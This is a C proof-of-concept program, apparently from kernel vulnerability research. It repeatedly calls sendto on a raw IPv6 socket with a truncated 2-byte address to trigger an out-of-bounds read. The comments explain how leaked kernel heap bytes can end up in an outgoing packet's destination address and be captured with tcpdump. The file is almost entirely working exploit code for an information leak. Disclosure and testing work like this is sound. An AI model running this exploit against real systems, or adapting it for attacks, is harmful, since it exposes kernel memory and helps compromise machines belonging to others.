/*
 * DF-0619 leak-stress variant: hammer the OOB read in a tight loop while
 * tcpdump watches for any outgoing IPv6 packet whose destination address
 * contains leaked heap bytes. Most iterations produce an unroutable
 * destination (sendto returns EHOSTUNREACH) so no packet leaves; but if the
 * corrupted destination happens to be routable (loopback, link-local,
 * multicast, or a real prefix), the outgoing packet's IPv6 dst header will
 * contain the leaked bytes — proof of info leak beyond the kernel-internal
 * over-read.
 *
 * Usage:  ./poc_leak
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
    int fd, i, ok = 0, err_dist[256] = {0};
    unsigned char sa_short[2] = { 2, AF_INET6 };
    char buf[1] = {0};

    fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if (fd < 0) { perror("socket"); return 1; }

    for (i = 0; i < 20000; i++) {
        int rc = sendto(fd, buf, 1, 0, (const struct sockaddr *)sa_short, 2);
        int e = errno;
        if (rc == 0) ok++;
        else if (e >= 0 && e < 256) err_dist[e]++;
        if ((i % 4000) == 0) {
            printf("iter %d: last rc=%d errno=%d (%s); ok=%d\n",
                   i, rc, e, strerror(e), ok);
        }
    }
    printf("\n=== distribution after 20000 iterations ===\n");
    printf("sendto returned 0 (packet emitted): %d times\n", ok);
    for (i = 0; i < 256; i++) {
        if (err_dist[i])
            printf("  errno %d (%s): %d times\n", i, strerror(i), err_dist[i]);
    }
    close(fd);
    return 0;
}
